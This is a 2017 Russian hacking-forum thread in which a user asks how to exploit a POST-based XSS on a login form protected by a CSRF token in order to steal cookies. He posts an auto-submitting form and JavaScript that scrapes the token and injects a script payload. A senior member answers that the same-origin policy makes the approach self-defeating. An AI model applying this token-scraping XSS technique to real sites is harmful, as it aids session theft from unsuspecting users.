Пасивка в форме с csrf токеном

Discussion in 'Песочница' started by sergei_petrovish, 10 Apr 2017.

  1. sergei_petrovish

    sergei_petrovish New Member

    Joined:
    24 Jan 2016
    Messages:
    31
    Likes Received:
    3
    Reputations:
    1
    Как заюзать данную брешь ? форма с iframe не пройдет поскольку токен не пустит. Парсить токен ? Подскажите решение
     
  2. sergei_petrovish

    sergei_petrovish New Member

    Joined:
    24 Jan 2016
    Messages:
    31
    Likes Received:
    3
    Reputations:
    1
    Вот форма уязвимая к XSS . В ней есть токен csrf_tok
    HTML:
    <form method="post" name="login_frm" action="https://site.com/login">
      <input name="Login" value="" type="hidden">
      <input name="Pass" value="" type="hidden">
      <input name="csrf_tok" value="a757118b" type="hidden">
    </form><script>document.getElementsByTagName('form')[0].submit();</script>
    Для того что бы стырить куки, надо отправить эту форму с правильным токеном. Значит сперва его нужно выдернуть и вставить в свою форму.
    Создаю js который вставляю в уязвимое к XSS поле

    HTML:
    function request(url, type, callback, send){
          var oReq = new XMLHttpRequest();
          oReq.open(type, url, true);
          oReq.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
          oReq.onload = callback;
          oReq.send(send);
      };
      function getListener () {
          var el = document.createElement('div');
          el.innerHTML = this.responseText;
          request('login', 'POST', postListener, 'csrf_tok=' + el.querySelector('input[name="csrf_tok"]').value + '&Login=<script>alert(xss)<script>'+ '&Pass=12345678');
      };
      function postListener(){
          console.log(this.responseText)
      };
      request('login', 'GET', getListener);

    Подскажите где ошибка.
     
  3. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    Если XSS работает только при указании правильного токена, вам нужно получить токен. Но получить его без выполнения JS на стороне жертвы не удастся. Взаимоисключение получается.

    А спарсить токен со своего домена не получится, ибо кросс-доменная политика запросов не даст.
     
    sergei_petrovish likes this.